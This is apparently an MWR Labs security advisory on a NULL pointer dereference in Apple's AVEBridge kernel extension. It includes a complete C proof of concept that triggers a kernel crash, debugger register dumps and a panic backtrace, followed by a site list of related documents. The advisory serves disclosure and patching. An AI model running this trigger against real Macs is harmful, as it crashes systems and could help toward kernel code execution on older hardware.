com_apple_avebridge::submi tdata NULL Dereference
|
|
|
- Sheryl Glenn
- 6 years ago
- Views:
Transcription
1 Apple - com_apple_avebridge::submi tdata NULL Dereference Software Affected Versions CVE Reference Author Severity Vendor Vendor Response Apple macos, Apple ios macos CVE Alex Plaskett Low Apple Patch available - Description: A NULL pointer dereference issue was identified within the com.apple.avebridge IOKit kernel extension driver. Impact: On systems without SMAP/SMEP it is expected this could be used to achieve kernel code execution. However, on modern systems with these protections, this issue is limited to a denial of service. Cause: The com_apple_avebridge::submitdata function was found to perform insufficient input validation. Interim Workaround: N/A 1
2 Solution: Users should apply the released security update from Apple ( Technical details The following proof of concept code will trigger the issue: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> #include <IOKit/IOKitLib.h> int main(int argc, char *argv[]) { kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("com_apple_AVEBridge")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 1; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err!= KERN_SUCCESS){ 2
3 } printf("unable to get user client connection\n"); return 1; printf("got userclient connection: %x\n", conn); // First make a connection to the userclient with selector 0. unsigned int selector = 0; uint64_t inputscalar[16]; uint64_t inputscalarcnt = 0; uint64_t outputscalar[16]; uint32_t outputscalarcnt = 0; char outputstruct[4096]; size_t outputstructcnt = 0; char inputstruct[256]; size_t inputstructcnt = 0; err = IOConnectCallMethod(conn,selector,inputScalar,inputScalarCnt,inputStruct,inputStructCnt,out putscalar,&outputscalarcnt,outputstruct,&outputstructcnt); printf("open user client: %d\n", err); // Now make the vulnerable send_data call selector = 2; memset(inputstruct,0,24); inputstructcnt = 24; inputscalarcnt = 0; outputscalarcnt = 0; err = IOConnectCallMethod(conn,selector,inputScalar,inputScalarCnt,inputStruct,inputStructCnt,out putscalar,&outputscalarcnt,outputstruct,&outputstructcnt); 3
4 printf("send data: %d\n", err); } return 0; This leads to a NULL pointer dereference occurring within kernel space as follows: frame #0: 0xffffff7f90df6faa AVEBridge`com_apple_AVEBridge::submitData(unsigned long long, IOMemoryDescriptor*, unsigned long long, unsigned long long) + 38 AVEBridge`com_apple_AVEBridge::submitData: -> 0xffffff7f90df6faa <+38>: mov rax, qword ptr [rdi] 0xffffff7f90df6fad <+41>: mov rsi, r12 0xffffff7f90df6fb0 <+44>: call qword ptr [rax + 0x148] 0xffffff7f90df6fb6 <+50>: mov r15, rax (lldb) register read General Purpose Registers: rax = 0x rbx = 0xffffff rcx = 0x rdx = 0xffffff8035e4b180 rdi = 0x rsi = 0x rbp = 0xffffff81158e3ad0 rsp = 0xffffff81158e3aa0 r8 = 0x r9 = 0x r10 = 0x r11 = 0x r12 = 0xffffff8035e4b180 r13 = 0x r14 = 0x r15 = 0x rip = 0xffffff7f90df6faa AVEBridge`com_apple_AVEBridge::submitData(unsigned long long, IOMemoryDescriptor*, unsigned long long, unsigned long long) + 38 rflags = 0x cs = 0x
5 fs = 0x gs = 0x f On recent systems with SMAP/SMEP it likely this is limited to a denial of service, as can be shown as follows, when mapping the NULL page an SMAP fault occurs: panic(cpu 1 caller 0xffffff800218a611): Kernel trap at 0xffffff7f85d85faa, type 14=page fault, registers: CR0: 0x , CR2: 0x , CR3: 0x cf10f2, CR4: 0x e0 RAX: 0x , RBX: 0xffffff80193fbc00, RCX: 0x , RDX: 0xffffff801f866c40 RSP: 0xffffff912d4dbaa0, RBP: 0xffffff912d4dbad0, RSI: 0x , RDI: 0x R8: 0x , R9: 0x , R10: 0x , R11: 0x R12: 0xffffff801f866c40, R13: 0x , R14: 0x , R15: 0x RFL: 0x , RIP: 0xffffff7f85d85faa, CS: 0x , SS: 0x Fault CR2: 0x , Error code: 0x , Fault CPU: 0x1 SMAP fault, PL: 0, VF: 0 Backtrace (CPU 1), Frame : Return Address 0xffffff912d4db560 : 0xffffff800206d366 mach_kernel : _handle_debugger_trap + 0x516 0xffffff912d4db5a0 : 0xffffff mach_kernel : _kdp_i386_trap + 0x114 0xffffff912d4db5e0 : 0xffffff800218a429 mach_kernel : _kernel_trap + 0x5e9 0xffffff912d4db660 : 0xffffff800201f190 mach_kernel : _return_from_trap + 0xe0 0xffffff912d4db680 : 0xffffff800206cd8c mach_kernel : _panic_trap_to_debugger + 0x26c 0xffffff912d4db7b0 : 0xffffff800206cafc mach_kernel : _panic + 0x5c 0xffffff912d4db810 : 0xffffff800218a611 mach_kernel : _kernel_trap + 0x7d1 0xffffff912d4db990 : 0xffffff800201f190 mach_kernel : _return_from_trap + 0xe0 0xffffff912d4db9b0 : 0xffffff7f85d85faa com.apple.avebridge : ZN19com_apple_AVEBridge10submitDataEyP18IOMemoryDescriptoryy + 0x26 0xffffff912d4dbad0 : 0xffffff7f85d8694e com.apple.avebridge : ZN29com_apple_AVEBridgeUserClient8sendDataEP17s_inputDataStruct + 0x152 0xffffff912d4dbb20 : 0xffffff80026cbca8 mach_kernel : ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatch P8OSObjectPv + 0x1d8 5
6 0xffffff912d4dbb70 : 0xffffff80026d4a97 mach_kernel : _is_io_connect_method + 0x217 0xffffff912d4dbcb0 : 0xffffff d84 mach_kernel : _iokit_server_routine + 0x5cd4 0xffffff912d4dbdc0 : 0xffffff ee mach_kernel : _ipc_kobject_server + 0x12e 0xffffff912d4dbe10 : 0xffffff800204fbdd mach_kernel : _ipc_kmsg_send + 0xbd 0xffffff912d4dbe60 : 0xffffff c6b mach_kernel : _mach_msg_overwrite_trap + 0x37b 0xffffff912d4dbef0 : 0xffffff ea1 mach_kernel : _mach_call_munger + 0x1b1 0xffffff912d4dbfa0 : 0xffffff800201f748 mach_kernel : _hndl_mach_scall + 0xd8 Therefore this issue has been rated at low risk, as it is expected on modern systems with SMAP/SMEP that it would not be exploitable for code execution. However, older systems without these protects may still be vulnerable. Detailed Timeline Date Summary Issue reported to vendor Vendor releases fix MWR Labs releases advisory 6
com_apple_avebridge::query Completion Invalid Read
Apple - com_apple_avebridge::query Completion Invalid Read Software Affected Versions CVE Reference Author Severity Vendor Vendor Response Apple macos, Apple ios macos 10.13.1 CVE-2017-13848 Alex Plaskett
Lab 7 Linux Debugging. EECS 448: Software Engineering I Mark Calnon October 17, 2011
Lab 7 Linux Debugging EECS 448: Software Engineering I Mark Calnon October 17, 2011 GDB Getting Started To start gdb from the command line, first browse to the directory containing the core dump to debug
The Python Bites your Apple
Fuzzing and exploiting OSX Kernel bugs XKungfoo Shanghai, April 2016 Table of Contents 1 Introduction About 2 IOKit Security Background Core of the Apple 3 Introducing Kitlib Introducing Kitlib 4 Introducing
Return Oriented Programming
ROP gadgets Small instruction sequence ending with a ret instruction 0xc3 Gadgets are found in existing, resident code and libraries There exist tools to search for and find gadgets Gadgets are put together
18-600: Recitation #4 Exploits
18-600: Recitation #4 Exploits 20th September 2016 Agenda More x86-64 assembly Buffer Overflow Attack Return Oriented Programming Attack 3 Recap: x86-64: Register Conventions Arguments passed in registers:
18-600: Recitation #4 Exploits (Attack Lab)
18-600: Recitation #4 Exploits (Attack Lab) September 19th, 2017 Announcements Some students have triggered the bomb multiple times Use breakpoints for explode_bomb() Attack lab will be released on Sep.
Binghamton University. CS-220 Spring X86 Debug. Computer Systems Section 3.11
X86 Debug Computer Systems Section 3.11 GDB is a Source Level debugger We have learned how to debug at the C level But the machine is executing X86 object code! How does GDB play the shell game? Makes
CS24: INTRODUCTION TO COMPUTING SYSTEMS. Spring 2018 Lecture 4
CS24: INTRODUCTION TO COMPUTING SYSTEMS Spring 2018 Lecture 4 LAST TIME Enhanced our processor design in several ways Added branching support Allows programs where work is proportional to the input values
Buffer Overflow Attack (AskCypert CLaaS)
Buffer Overflow Attack (AskCypert CLaaS) ---------------------- BufferOverflow.c code 1. int main(int arg c, char** argv) 2. { 3. char name[64]; 4. printf( Addr;%p\n, name); 5. strcpy(name, argv[1]); 6.
Buffer Overflow. An Introduction
Buffer Overflow An Introduction Workshop Flow-1 Revision (4-10) How a program runs Registers Memory Layout of a Process Layout of a StackFrame Layout of stack frame using GDB and looking at Assembly code
MWR InfoSecurity Security Advisory. Intersystems Caché CSP (Caché Server Pages) Stack Overflow. 17 th December 2009
MWR InfoSecurity Security Advisory Intersystems Caché CSP (Caché Server Pages) Stack Overflow 17 th December 2009 2009-12-17 Page 1 of 8 CONTENTS CONTENTS 1 Detailed Vulnerability Description... 5 1.1
Download the tarball for this session. It will include the following files:
Getting Started 1 Download the tarball for this session. It will include the following files: driver driver.c bomb.h bomb.o 64-bit executable C driver source declaration for "bomb" 64-bit object code for
Download the tarball for this session. It will include the following files:
Getting Started 1 Download the tarball for this session. It will include the following files: driver driver.c bomb.h bomb.o 64-bit executable C driver source declaration for "bomb" 64-bit object code for
Basics. Crash Dump Analysis 2015/2016. CHARLES UNIVERSITY IN PRAGUE faculty of mathematics and physics.
Basics http://d3s.mff.cuni.cz Crash Dump Analysis 2015/2016 CHARLES UNIVERSITY IN PRAGUE faculty of mathematics and physics Processors Basic functionality of processors Execute machine code Sequence of
MWR InfoSecurity Security Advisory. IBM WebSphere MQ - rrilookupget Remote Denial of Service Vulnerability. 4th March 2010
MWR InfoSecurity Security Advisory IBM WebSphere MQ - rrilookupget Remote Denial of Service Vulnerability 4th March 2010 2010-03-04 Page 1 of 9 Contents Contents 1 Detailed Vulnerability Description...
MWR InfoSecurity Security Advisory. IBM WebSphere MQ - rridecompress Remote Denial of Service Vulnerability. 4th March 2010
MWR InfoSecurity Security Advisory IBM WebSphere MQ - rridecompress Remote Denial of Service Vulnerability 4th March 2010 2010-03-04 Page 1 of 9 Contents Contents 1 Detailed Vulnerability Description...
_vectorcall and regcall Demystified
_vectorcall and regcall Demystified The motivation to have the new vectorcall calling convention is to make use of as many registers as possible to pass function arguments rather than pushing the function
Assembly I: Basic Operations. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University
Assembly I: Basic Operations Jin-Soo Kim (jinsookim@skku.edu) Computer Systems Laboratory Sungkyunkwan University http://csl.skku.edu Basic Execution Environment RAX RBX RCX RDX RSI RDI RBP RSP R8 R9 R10
18-600: Recitation #3
18-600: Recitation #3 Bomb Lab & GDB Overview September 12th, 2017 1 Today X86-64 Overview Bomb Lab Introduction GDB Tutorial 2 3 x86-64: Register Conventions Arguments passed in registers: %rdi, %rsi,
Copyright 2000 by Barry B. Brey The CPU Scheduling Processes
Copyright 2000 by Barry B. Brey The CPU Scheduling Processes One method used to schedule processes in a small real-time operating system (RTOS) is via a time slice to switch between various processes.
ios vulnerabilities technical details
ios vulnerabilities technical details CVE- 2017-6979 A race condition vulnerability in the IOSurface.kext driver allows an attacker to bypass the sanity checks for the creation of an IOSurface object.
Changelog. Assembly (part 1) logistics note: lab due times. last time: C hodgepodge
Changelog Assembly (part 1) Corrections made in this version not seen in first lecture: 31 August 2017: slide 34: split out from previous slide; clarify zero/positive/negative 31 August 2017: slide 26:
Corrections made in this version not seen in first lecture:
Assembly (part 1) 1 Changelog 1 Corrections made in this version not seen in first lecture: 31 August 2017: slide 34: split out from previous slide; clarify zero/positive/negative 31 August 2017: slide
CS429: Computer Organization and Architecture
CS429: Computer Organization and Architecture Dr. Bill Young Department of Computer Sciences University of Texas at Austin Last updated: February 28, 2018 at 06:32 CS429 Slideset 9: 1 Mechanisms in Procedures
Machine Language CS 3330 Samira Khan
Machine Language CS 3330 Samira Khan University of Virginia Feb 2, 2017 AGENDA Logistics Review of Abstractions Machine Language 2 Logistics Feedback Not clear Hard to hear Use microphone Good feedback
6/17/2011. Introduction. Chapter Objectives Upon completion of this chapter, you will be able to:
Chapter 2: The Microprocessor and its Architecture Chapter 2: The Microprocessor and its Architecture Chapter 2: The Microprocessor and its Architecture Introduction This chapter presents the microprocessor
CSE 351 Midterm Exam
University of Washington Computer Science & Engineering Winter 2018 Instructor: Mark Wyse February 5, 2018 CSE 351 Midterm Exam Last Name: First Name: SOLUTIONS UW Student ID Number: UW NetID (username):
Chapter 2: The Microprocessor and its Architecture
Chapter 2: The Microprocessor and its Architecture Chapter 2: The Microprocessor and its Architecture Chapter 2: The Microprocessor and its Architecture Introduction This chapter presents the microprocessor
Recitation: Bomb Lab. September 17 th 2018
15-213 Recitation: Bomb Lab September 17 th 2018 Agenda Logistics - Bomb Lab Overview - Introduction to GDB - GDB and Assembly Tips What is Bomb Lab? An exercise in reading x86-64 assembly code. A chance
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration. Xeno Kovah 2014 xkovah at gmail
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah 2014 xkovah at gmail All materials is licensed under a Creative Commons Share Alike license. http://creativecommons.org/licenses/by-sa/3.0/
Register Allocation, i. Overview & spilling
Register Allocation, i Overview & spilling 1 L1 p ::=(label f...) f ::=(label nat nat i...) i ::=(w
Stack Frame Components. Using the Stack (4) Stack Structure. Updated Stack Structure. Caller Frame Arguments 7+ Return Addr Old %rbp
Stack Frame Components Frame pointer %rbp Stack pointer Caller Frame rguments 7+ Return ddr Old %rbp Saved Registers + Local Variables rgument Build 1 Using the Stack (4) Stack Structure long call_incr()
Lecture (02) The Microprocessor and Its Architecture By: Dr. Ahmed ElShafee
Lecture (02) The Microprocessor and Its Architecture By: Dr. Ahmed ElShafee ١ INTERNAL MICROPROCESSOR ARCHITECTURE Before a program is written or instruction investigated, internal configuration of the
CS C Primer. Tyler Szepesi. January 16, 2013
January 16, 2013 Topics 1 Why C? 2 Data Types 3 Memory 4 Files 5 Endianness 6 Resources Why C? C is exteremely flexible and gives control to the programmer Allows users to break rigid rules, which are
void P() {... y = Q(x); print(y); return; } ... int Q(int t) { int v[10];... return v[t]; } Computer Systems: A Programmer s Perspective
![void P() {... y = Q(x); print(y); return; } ... int Q(int t) { int v[10];... return v[t]; } Computer Systems: A Programmer s Perspective](/thumbs/81/82921282.jpg "void P() {... y = Q(x); print(y); return; } ... int Q(int t) { int v[10];... return v[t]; } Computer Systems: A Programmer s Perspective")
void P() { y = Q(x); print(y); return;... int Q(int t) { int v[10]; return v[t]; Computer Systems: A Programmer s Perspective %rax %rbx 0x101 0x41 0x7FFFFA8 0x1 0x7FFFFF8 0xB5A9 0x7FFFFF0 0x789ABC 0x7FFFFE8
Assembly Language Each statement in an assembly language program consists of four parts or fields.
Chapter 3: Addressing Modes Assembly Language Each statement in an assembly language program consists of four parts or fields. The leftmost field is called the label. - used to identify the name of a memory
int main() { return 0; }
int main() { return 0; % gcc x.c %./a.out % gcc -o x x.c %./x int main() { return 1; 0 % gcc -Wall -o x x.c %./x int main() { printf("hi\n"); return 0; \n #include int main() { printf("hi\n");
Registers. Ray Seyfarth. September 8, Bit Intel Assembly Language c 2011 Ray Seyfarth
Registers Ray Seyfarth September 8, 2011 Outline 1 Register basics 2 Moving a constant into a register 3 Moving a value from memory into a register 4 Moving values from a register into memory 5 Moving
Assembly Language Programming 64-bit environments
Assembly Language Programming 64-bit environments October 17, 2017 Some recent history Intel together with HP start to work on 64-bit processor using VLIW technology. Itanium processor is born with the
Assembly III: Procedures. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University
Assembly III: Procedures Jin-Soo Kim (jinsookim@skku.edu) Computer Systems Laboratory Sungkyunkwan University http://csl.skku.edu Mechanisms in Procedures Passing control To beginning of procedure code
Computer Systems C S Cynthia Lee
Computer Systems C S 1 0 7 Cynthia Lee 2 Today s Topics Function call and return in x86-64 Registers Call stack NEXT TIME: NEW topic: the build process Taking a look at each step of the process Preprocessor,
Machine Program: Procedure. Zhaoguo Wang
Machine Program: Procedure Zhaoguo Wang Requirements of procedure calls? P() { y = Q(x); y++; 1. Passing control int Q(int i) { int t, z; return z; Requirements of procedure calls? P() { y = Q(x); y++;
CS527 Software Security
Attack Vectors Purdue University, Spring 2018 Exploitation: Disclaimer This section focuses software exploitation We will discuss both basic and advanced exploitation techniques We assume that the given
TI2725-C, C programming lab, course
Valgrind tutorial Valgrind is a tool which can find memory leaks in your programs, such as buffer overflows and bad memory management. This document will show per example how Valgrind responds to buggy
Lecture 08 Control-flow Hijacking Defenses
Lecture 08 Control-flow Hijacking Defenses Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Slides adapted from Miller, Bailey, and Brumley Control Flow Hijack: Always control + computation
6.1. CS356 Unit 6. x86 Procedures Basic Stack Frames
6.1 CS356 Unit 6 x86 Procedures Basic Stack Frames 6.2 Review of Program Counter (Instruc. Pointer) PC/IP is used to fetch an instruction PC/IP contains the address of the next instruction The value in
CS24: INTRODUCTION TO COMPUTING SYSTEMS. Spring 2017 Lecture 12
CS24: INTRODUCTION TO COMPUTING SYSTEMS Spring 2017 Lecture 12 CS24 MIDTERM Midterm format: 6 hour overall time limit, multiple sittings (If you are focused on midterm, clock should be running.) Open book
Memory Corruption Vulnerabilities, Part II
Memory Corruption Vulnerabilities, Part II Gang Tan Penn State University Spring 2019 CMPSC 447, Software Security Integer Overflow Vulnerabilities * slides adapted from those by Seacord 3 Integer Overflows
Microsoft Office Protected-View Out-Of- Bound Array Access
Microsoft Office Protected-View Out-Of- Bound Array Access 2017-11-23 Software Microsoft Office Affected Versions Microsoft Excel 2010, 2013, 2016 (x86 and x64) CVE Reference Author Severity Vendor CVE-2017-8502
Machine-Level Programming V: Unions and Memory layout
Machine-Level Programming V: Unions and Memory layout Slides adapted from Bryant and O Hallaron Bryant and O Hallaron, Computer Systems: A Programmer s Perspective, Third Edition 1 FAQ Call conventions
Compiling C Programs Into x86-64 Assembly Programs
CSE 2421: Systems I Low-Level Programming and Computer Organization Compiling C Programs Into x86-64 Assembly Programs Part A: Function Calling Read/Study: Bryant 3.7.1-3.7.6 Presentation K Gojko Babić
Recitation 4: Bomb Lab
15-213 Recitation 4: Bomb Lab 2 Feb 2016 Monil Shah, Shelton D Souza, Ralf Brown 1 Agenda Bomb Lab Overview Assembly Refresher Introduction to GDB Bomb Lab Demo 2 Downloading Your Bomb Please read the
CS24: INTRODUCTION TO COMPUTING SYSTEMS. Spring 2017 Lecture 7
CS24: INTRODUCTION TO COMPUTING SYSTEMS Spring 2017 Lecture 7 LAST TIME Dynamic memory allocation and the heap: A run-time facility that satisfies multiple needs: Programs can use widely varying, possibly
Lock, Stock And Two Smoking Apples - XNU Kernel Security
Lock, Stock And Two Smoking Apples - XNU Kernel Security Alex Plaskett (@alexjplaskett) / James Loureiro (@NerdKernel) Agenda System call fuzzing (OSXFuzz) Scaling up Code coverage IOKit and Mach fuzzing
CSE 351 Midterm - Winter 2015
CSE 351 Midterm - Winter 2015 February 09, 2015 Please read through the entire examination first! We designed this exam so that it can be completed in 50 minutes and, hopefully, this estimate will prove
Overview of the x86-64 kernel. Andi Kleen, SUSE Labs, Novell Linux Bangalore 2004
Overview of the x86-64 kernel Andi Kleen, SUSE Labs, Novell ak@suse.de Linux Bangalore 2004 What s wrong? x86-64, x86_64 AMD64 EM64T IA32e IA64 x64, CT Names x86-64, x86_64 AMD64 EM64T IA32e x64 CT Basics
CSE 351 Final Exam - Winter 2017
CSE 351 Final Exam - Winter 2017 March 15, 2017 Please read through the entire examination first, and make sure you write your name and NetID on all pages! We designed this exam so that it can be completed
Arrays and Pointers in C. Alan L. Cox
Arrays and Pointers in C Alan L. Cox alc@rice.edu Objectives Be able to use arrays, pointers, and strings in C programs Be able to explain the representation of these data types at the machine level, including
EEM336 Microprocessors I. The Microprocessor and Its Architecture
EEM336 Microprocessors I The Microprocessor and Its Architecture Introduction This chapter presents the microprocessor as a programmable device by first looking at its internal programming model and then
Computer Processors. Part 2. Components of a Processor. Execution Unit The ALU. Execution Unit. The Brains of the Box. Processors. Execution Unit (EU)
Part 2 Computer Processors Processors The Brains of the Box Computer Processors Components of a Processor The Central Processing Unit (CPU) is the most complex part of a computer In fact, it is the computer
6/20/2011. Introduction. Chapter Objectives Upon completion of this chapter, you will be able to:
Introduction Efficient software development for the microprocessor requires a complete familiarity with the addressing modes employed by each instruction. This chapter explains the operation of the stack
CPSC 261 Midterm 1 Tuesday February 9th, 2016
CPSC 261 Midterm 1 Tuesday February 9th, 2016 [10] 1. Short Answers [2] a. Two CPUs support the same instruction set, and use the same amount of power. CPU A s latency and throughput are both 10% lower
Unit 8: Programming Languages CS 101, Fall 2018
Unit 8: Programming Languages CS 101, Fall 2018 Learning Objectives After completing this unit, you should be able to: Explain the difference between an assembler, compiler, and interpreter. Name and describe
coe628 Final Study Guide (2017)
coe628 Final Study Guide 2017 1/6 coe628 Final Study Guide (2017) Table of Contents What is a Study Guide?...1 The Questions...2 Address of global variables in forked processes...2 Memory spaces...3 Amdahl
Computer Architecture and System Programming Laboratory. TA Session 5
Computer Architecture and System Programming Laboratory TA Session 5 Addressing Mode specifies how to calculate effective memory address of an operand x86 64-bit addressing mode rule: up to two of the
C programming for beginners
C programming for beginners Lesson 2 December 10, 2008 (Medical Physics Group, UNED) C basics Lesson 2 1 / 11 Main task What are the values of c that hold bounded? x n+1 = x n2 + c (x ; c C) (Medical Physics
Instruction Set Architectures
Instruction Set Architectures! ISAs! Brief history of processors and architectures! C, assembly, machine code! Assembly basics: registers, operands, move instructions 1 What should the HW/SW interface
an infinite loop Processes and Exceptions doing nothing on a busy system timing nothing
an infinite loop Processes and Exceptions int main(void) { while (1) { /* waste CPU time */ If I run this on a lab machine, can you still use it? even if the machine only has one core? 1 2 timing nothing
L14: Structs and Alignment. Structs and Alignment. CSE 351 Spring Instructor: Ruth Anderson
Structs and Alignment CSE 351 Spring 2017 Instructor: Ruth Anderson Teaching Assistants: Dylan Johnson Kevin Bi Linxing Preston Jiang Cody Ohlsen Yufang Sun Joshua Curtis Administrivia Lab 2 due TONIGHT
Inside VMProtect. Introduction. Internal. Analysis. VM Logic. Inside VMProtect. Conclusion. Samuel Chevet. 16 January 2015.
16 January 2015 Agenda Describe what VMProtect is Introduce code virtualization in software protection Methods for circumvention VM logic Warning Some assumptions are made in this presentation Only few
Assembly Language: Function Calls
Assembly Language: Function Calls 1 Goals of this Lecture Help you learn: Function call problems x86-64 solutions Pertinent instructions and conventions 2 Function Call Problems (1) Calling and returning
CS165 Computer Security. Understanding low-level program execution Oct 1 st, 2015
CS165 Computer Security Understanding low-level program execution Oct 1 st, 2015 A computer lets you make more mistakes faster than any invention in human history - with the possible exceptions of handguns
Areas for growth: I love feedback
Assembly part 2 1 Areas for growth: I love feedback Speed, I will go slower. Clarity. I will take time to explain everything on the slides. Feedback. I give more Kahoot questions and explain each answer.
Buffer Overflows Many of the following slides are based on those from Complete Powerpoint Lecture Notes for Computer Systems: A Programmer's Perspective (CS:APP) Randal E. Bryant and David R. O'Hallaron
Course organization. Course introduction ( Week 1)
Course organization Course introduction ( Week 1) Code editor: Emacs Part I: Introduction to C programming language (Week 2-9) Chapter 1: Overall Introduction (Week 1-3) Chapter 2: Types, operators and
CSE 351 Midterm - Winter 2015 Solutions
CSE 351 Midterm - Winter 2015 Solutions February 09, 2015 Please read through the entire examination first! We designed this exam so that it can be completed in 50 minutes and, hopefully, this estimate
Hands-on Ethical Hacking: Preventing & Writing Buffer Overflow Exploits
Hands-on Ethical Hacking: Preventing & Writing Buffer Overflow Exploits OWASP AppSec 2013 Rochester OWASP Chapter Lead Ralph Durkee - Durkee Consulting, Inc. info@rd1.net Hands-on Ethical Hacking: Preventing
Virtual USB Fuzzer Updates
Virtual USB Fuzzer Updates [ 110.768243] usb 1-1: new full-speed USB device number 48 using xhci_hcd [ 111.028327] usb 1-1: config 1 has 1 interface, different from the descriptor's value: 10 [ 111.030544]
Do not turn the page until 5:10.
University of Washington Computer Science & Engineering Autumn 2018 Instructor: Justin Hsia 2018-10-29 Last Name: First Name: Student ID Number: Name of person to your Left Right All work is my own. I
Writing high performance code. CS448h Nov. 3, 2015
Writing high performance code CS448h Nov. 3, 2015 Overview Is it slow? Where is it slow? How slow is it? Why is it slow? deciding when to optimize identifying bottlenecks estimating potential reasons for
Recitation: Attack Lab
15-213 Recitation: Attack Lab TA 11 Feb 2017 Agenda Reminders Stacks Attack Lab Activities Reminders Bomb lab is due tomorrow (14 Feb, 2017)! But if you wait until the last minute, it only takes a minute!
CS356: Discussion #15 Review for Final Exam. Marco Paolieri Illustrations from CS:APP3e textbook
CS356: Discussion #15 Review for Final Exam Marco Paolieri (paolieri@usc.edu) Illustrations from CS:APP3e textbook Processor Organization Pipeline: Computing Throughput and Delay n 1 2 3 4 5 6 clock (ps)
ROP It Like It s Hot!
Wednesday, December 3, 14 2014 Red Canari, Inc. All rights reserved. 1 I N F O R M AT I O N S E C U R I T Y ROP It Like It s Hot! A 101 on Buffer Overflows, Return Oriented Programming, & Shell- code Development
Do not turn the page until 12:30.
University of Washington Computer Science & Engineering Autumn 2016 Instructor: Justin Hsia 2016-12-13 Last Name: First Name: Student ID Number: Section you attend (circle): Chris Yufang John Kevin Sachin
What is concurrency? Concurrency. What is parallelism? concurrency vs parallelism. Concurrency: (the illusion of) happening at the same time.
What is concurrency? Concurrency Johan Montelius KTH 2017 Concurrency: (the illusion of) happening at the same time. A property of the programing model. Why would we want to do things concurrently? What
Mechanisms in Procedures. CS429: Computer Organization and Architecture. x86-64 Stack. x86-64 Stack Pushing
CS429: Computer Organization and Architecture Dr. Bill Young Department of Computer Sciences University of Texas at Austin Last updated: February 28, 2018 at 06:32 Mechanisms in Procedures Passing Control
CS-220 Spring 2018 Final Exam Version Practice May 10, Name:
CS-220 Spring 2018 Final Exam Version Practice May 10, 2018 Name: 1. (10 points) For the following, Check T if the statement is true, the F if the statement is false. (a) T F : One of the advantages of
CSCI 2021: x86-64 Control Flow
CSCI 2021: x86-64 Control Flow Chris Kauffman Last Updated: Mon Mar 11 11:54:06 CDT 2019 1 Logistics Reading Bryant/O Hallaron Ch 3.6: Control Flow Ch 3.7: Procedure calls Goals Jumps and Control flow
Buffer Overflow Attack
Buffer Overflow Attack What every applicant for the hacker should know about the foundation of buffer overflow attacks By (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 9 5 Abstract Buffer overflow.
x86-64 Programming II
x86-64 Programming II CSE 351 Winter 2018 Instructor: Mark Wyse Teaching Assistants: Kevin Bi Parker DeWilde Emily Furst Sarah House Waylon Huang Vinny Palaniappan http://xkcd.com/409/ Administrative Homework
Exceptions and Processes
Exceptions and Processes Samira Khan April 18, 2017 Control Flow Processors do only one thing: From startup to shutdown, a simply reads and executes (interprets) a sequence of instructions, one at a time
CS 241 Data Organization Binary
CS 241 Data Organization Binary Brooke Chenoweth University of New Mexico Fall 2017 Combinations and Permutations In English we use the word combination loosely, without thinking if the order of things
CSE 351 Midterm - Winter 2017
CSE 351 Midterm - Winter 2017 February 08, 2017 Please read through the entire examination first, and make sure you write your name and NetID on all pages! We designed this exam so that it can be completed
Computer Architecture and System Programming Laboratory. TA Session 3
Computer Architecture and System Programming Laboratory TA Session 3 Stack - LIFO word-size data structure STACK is temporary storage memory area register points on top of stack (by default, it is highest
University of Washington Computer Science & Engineering Winter 2018 Instructor: Mark Wyse March 14, CSE 351 Final Exam. Last Name: First Name:
University of Washington Computer Science & Engineering Winter 2018 Instructor: Mark Wyse March 14, 2018 CSE 351 Final Exam Last Name: First Name: Solutions UW Student ID Number: UW NetID (username): Academic
Assembly Programming III
Assembly Programming III CSE 410 Winter 2017 Instructor: Justin Hsia Teaching Assistants: Kathryn Chan, Kevin Bi, Ryan Wong, Waylon Huang, Xinyu Sui Facebook Stories puts a Snapchat clone above the News
Lecture 4 CIS 341: COMPILERS
Lecture 4 CIS 341: COMPILERS CIS 341 Announcements HW2: X86lite Available on the course web pages. Due: Weds. Feb. 7 th at midnight Pair-programming project Zdancewic CIS 341: Compilers 2 X86 Schematic
Systems Programming and Computer Architecture ( )
Systems Group Department of Computer Science ETH Zürich Systems Programming and Computer Architecture (252-0061-00) Timothy Roscoe Herbstsemester 2016 AS 2016 Compiling C Control Flow 1 8: Compiling C
CHAPTER 3 BASIC EXECUTION ENVIRONMENT
CHAPTER 3 BASIC EXECUTION ENVIRONMENT This chapter describes the basic execution environment of an Intel 64 or I A-32 processor as seen by assemblylanguage programmers. It describes how the processor executes
15-213/18-243, Fall 2010 Exam 1 - Version A
Andrew login ID: Full Name: Section: 15-213/18-243, Fall 2010 Exam 1 - Version A Tuesday, September 28, 2010 Instructions: Make sure that your exam is not missing any sheets, then write your Andrew login